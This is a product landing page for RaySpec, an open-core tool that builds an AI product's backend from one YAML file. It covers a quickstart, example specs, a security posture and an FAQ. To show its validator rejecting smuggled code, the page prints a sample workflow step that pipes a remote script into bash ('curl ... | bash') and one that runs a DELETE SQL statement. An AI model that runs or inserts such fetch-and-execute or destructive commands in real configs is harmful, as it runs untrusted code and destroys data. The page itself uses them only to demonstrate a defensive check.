Open core — now on GitHub

Your backend is
one file deep.

Describe your AI product’s backend in one declarative YAML file. RaySpec stands up accounts, auth, agents, an HTTP API, a Postgres data layer, and durable jobs — deployed GitOps-style from that single file.

Read the docs
stores: a real database auth: owned tenancy agents: four backends api: declarative HTTP workers: durable jobs security: fail-closed
version: '1.0'
metadata:
name: acme-notes
stores:
- name: notes
columns:
- { name: title, type: text }
- { name: body, type: text }
api:
- method: GET
path: '/notes'
action: { kind: store, store: notes, op: list }
- method: POST
path: '/notes/{id}/summarize'
action: { kind: agent, agent: summarizer }
agents:
- id: summarizer
name: note-summarizer
instructions: >
You summarize note entries into
concise, action-oriented notes.
backend: openai # or anthropic · pi · codex
model: gpt-4o-mini
▸ validate → plan → deploy
# quickstart — clone to first authenticated request Full walkthrough →
# setup
$ git clone https://github.com/rayspec-labs/rayspec && cd rayspec
$ pnpm install && pnpm build && pnpm db:up
$ rayspec dev gen-secrets # mints fresh secrets into ./.env
$ echo 'DATABASE_URL=postgresql://rayspec:rayspec@localhost:5433/rayspec' >> .env
$ rayspec dev db # idempotent: creates the DB only if absent
# author → validate → plan → deploy
# create ./rayspec.yaml — a store, routes over it, an agent
$ rayspec doctor ./rayspec.yaml
{ "ok": true, "errors": [] }
$ rayspec plan ./rayspec.yaml # migration + safety gate, read-only
$ rayspec deploy ./rayspec.yaml
# serves on :8080 — agents booted, tenancy enforced
$ rayspec dev bootstrap-tenant --base-url http://localhost:8080
# org provisioned — org-scoped token minted
Node ≥22, pnpm, and a Postgres you can reach. TypeScript monorepo, source-available under FSL-1.1-ALv2. Running from the monorepo? Define the two shell shortcuts first — see the full walkthrough.
# ships in examples/

Six real backends, six files.

acme-notes-backend/rayspec.yamlbackend profile

A notes backend — stores entries, summarizes them with an agent.

stores: 2api: 6agents: 1tooling: 1triggers: 1handlers: 2
131 lines · validates with rayspec doctor
expense-claim-coder/rayspec.yamlbackend profile

Store expense claims and auto-code each claim against the org's own expense-category catalog with a tool-using agent (the lookup + auto-persist loop).

stores: 2api: 11agents: 1tooling: 2handlers: 2
143 lines · validates with rayspec doctor
support-ticket-triage.product.yamlproduct profile

Accept a submitted support ticket, route it against a seeded routing-policy catalog (product_area → owning team + default priority), persist the triaged ticket, and serve ticket reads.

stores: 2capabilities: 1workflows: 1views: 2contracts:
205 lines · validates with rayspec doctor
invoice-intake.product.yamlproduct profile

Accept an uploaded invoice document (text or text-layer PDF), parse it to text, extract the invoice fields and code the vendor against a seeded vendor→GL catalog, validate the coded output, persist one row per invoice, and serve invoice reads.

stores: 2capabilities: 2workflows: 1views: 2extractors: 1contracts:
317 lines · validates with rayspec doctor
contract-intake.product.yamlproduct profile

Accept an uploaded contract document (text or text-layer PDF), parse it to text, extract the contract metadata, classify the contract type against a seeded retention-policy catalog, validate the load-bearing fields, persist one coded record per contract, and serve contract reads.

stores: 2capabilities: 2workflows: 1views: 2extractors: 1contracts:
310 lines · validates with rayspec doctor
support-intake-chat.product.yamlproduct profile

A first-line support intake CHAT: the user describes their issue over a multi-turn conversation, an assistant replies grounded in a seeded known-issues/routing catalog, and an async workflow classifies the conversation into a structured, routed ticket the support desk can read.

stores: 2capabilities: 2workflows: 1views: 2extractors: 1contracts:
311 lines · validates with rayspec doctor
…plus synthetic pack fixtures that prove the extensions[] mechanism — every document above validates with rayspec doctor the product: key is the discriminant — one language, two profiles →
# what you get

The scaffolding is the platform’s problem now.

stores:

A real database, generated

Stores become tenant-scoped Postgres/Drizzle tables — you declare business columns only, the tenancy and data-lifecycle columns are injected. Migrations are diffed and gated before they apply.

auth:

Owned accounts & tenancy

Orgs, memberships, API keys, JWT/OIDC — first-class and yours. Every query carries a tenant predicate, enforced structurally.

agents:

Four swappable agent backends

OpenAI Agents, Claude Agent SDK, Pi, and Codex behind one neutral interface. Write an agent once; switch the backend from the spec.

workers:

Durable background work

Long agent runs and scheduled jobs execute off-request, with a per-step run journal for replay, cost accounting, and audit.

api:

A declarative HTTP surface

Routes, tools, triggers, and escape-hatch handlers declared in the spec, mounted on an authenticated Hono + OpenAPI surface.

security:

Tenant-scoped & fail-closed by construction

Secrets required at boot, a fail-closed tenant chokepoint, an explicit trust boundary around untrusted content, an append-only audit log — from the first boot. What it guarantees — and what it doesn’t →

# architecture

One spec, seven layers.

Each layer depends only on the ones below it. The bottom layers are the always-on foundation; the declarative engine reads your spec and wires your routes, stores, and agents onto it. The platform itself contains no product.

Read the full architecture →
Apprayspec CLI · rayspec-serve boot bin
Declarative enginevalidate → diff → gate → deploy a spec
HTTP APIHono + zod-openapi · mounted on the auth chain
Agent coreneutral Backend interface + 4 in-process adapters
Accounts & authorgs · memberships · users · API keys · OIDC
Data & journalPostgres/Drizzle · tenant chokepoint · run log
Durable executionoff-request worker · schedules · replay
# by construction

Three boundaries carry the weight.

The neutral backend boundary

Adapters absorb every vendor SDK’s churn; the neutral types never move. A parity suite holds all four backends to the identical contract.

The fail-closed tenant chokepoint

Deny-by-default: a table is reachable only if registered as committed source. There is no ergonomic path to a cross-tenant read.

The tool-dispatch trust boundary

Everything crossing from outside — tool output, uploads, rehydrated history — is data, never instructions. Idempotency is honored on replay.

# security posture

What the core guarantees — and what it doesn’t.

BUILT IN, FROM DAY ONE
✓ Tenant isolation by construction — CI fails if any tenant table is readable unscopedreceipt ↗
✓ Secrets required at boot — the server refuses to start without them, fail-closedreceipt ↗
✓ Untrusted-content trust boundary at tool dispatchreceipt ↗
✓ Append-only, out-of-band audit trailreceipt ↗
✓ Curated credentials per backend — each boots fail-closed with the credentials it declares; child runtimes get a curated env, not the raw process envreceipt ↗
THE HARDENING LAYER — NOT IN THE CORE
· Per-tenant data encryption with wrapped keys
· Database row-level security
· Per-tenant execution sandboxing
· Cryptographic token binding

The core is built for trusted, self-hosted, single-node deployment. Do not put a core deployment on a public address without the hardening layer — the boot process says so loudly.

# doctor says no

The posture isn’t a promise — it’s a refusal.

Before anything deploys, rayspec doctor reads your spec and fails closed on the moves that would break the guarantees above. Real output, verbatim, exit 1 — captured against public v1.5.0, so you can reproduce it. That’s the receipt.

reserved_column_namea backend tries to own the tenant column
# crm-backend.yaml — the move
version: '1.0'

metadata:
  name: crm-backend
  description: A CRM backend that tries to declare its own tenant_id column.

stores:
  - name: invoices
    columns:
      - { name: tenant_id, type: uuid }      # ← the platform injects this
      - { name: amount_cents, type: integer }
      - { name: status, type: text }
# the answer
$ rayspec doctor crm-backend.yaml
{
  "ok": false,
  "errors": [
    {
      "code": "reserved_column_name",
      "message": "store 'invoices' declares reserved column 'tenant_id' — that column is injected by the generator (tenancy/GDPR); rename the business column",
      "path": "stores[0].columns[0].name"
    }
  ],
  "warnings": []
}
# exit 1 — the tenant column is platform-owned; enforced before anything ships
no_code_in_yamla spec tries to smuggle in shell + SQL
# meeting-notes-product.yaml — the move
version: '1.0'

product:
  name: meeting-notes
  description: A meeting-notes product that tries to smuggle code into the spec.

workflows:
  - id: after-upload
    trigger: recording.uploaded
    steps:
      - id: cleanup
        shell: "curl -s https://example.com/setup.sh | bash"
      - id: summarize
        sql: "DELETE FROM recordings WHERE status = 'stale'"
# the answer — 3 errors on 2 lines (key and value)
$ rayspec doctor meeting-notes-product.yaml
{
  "ok": false,
  "errors": [
    {
      "code": "no_code_in_yaml",
      "message": "banned code-like key 'shell' at workflows[0].steps[0].shell; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
      "path": "workflows[0].steps[0].shell"
    },
    {
      "code": "no_code_in_yaml",
      "message": "banned code-like key 'sql' at workflows[0].steps[1].sql; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
      "path": "workflows[0].steps[1].sql"
    },
    {
      "code": "no_code_in_yaml",
      "message": "inline-code string value at workflows[0].steps[1].sql; Product YAML must not contain JS/TS, SQL, shell, or handler module paths",
      "path": "workflows[0].steps[1].sql"
    }
  ],
  "warnings": []
}
# exit 1 — declare meaning, not code

Captured 2026-07-19 against rayspec v1.5.0 (8e3e103) — the JSON is the documented doctor contract, reproducible on the public release. the doctor CLI →

# faq

Asked like an engineer.

What’s the license?

Open core, not an OSI license: source-available under FSL-1.1-ALv2 · use, modify, and self-host freely · each release converts to Apache-2.0 after two years.

receipt: LICENSE · conversion date per release

Can I put a deployment on a public address?

Not without the hardening layer. The core is built for trusted, self-hosted, single-node deployment — the boot process says so loudly.

receipt: v1 posture · SECURITY.md

What does the one file actually stand up?

Accounts, auth, agents, an HTTP API, a Postgres data layer, and durable jobs — deployed GitOps-style from that single file.

receipt: spec reference · getting started

Are the examples real?

Six real backends, six files — they ship in examples/, including a backend-profile spec whose declared agent runs off-request on the durable worker, with deterministic and live test suites.

receipt: examples/ · the spec shelf above

How is tenant data isolated?

By construction: tenant isolation enforced by the fail-closed chokepoint (with a CI cross-tenant test), curated per-backend credentials, an untrusted-content tool-dispatch trust boundary, and an out-of-band audit journal.

receipt: architecture · SECURITY.md

Found a security issue?

Mail security@rayspec.dev — reporting and the hardening posture live in the security policy.

receipt: security policy

Open core. Now on GitHub.

Source-available under FSL-1.1-ALv2 · use, modify, and self-host freely · each release converts to Apache-2.0 after two years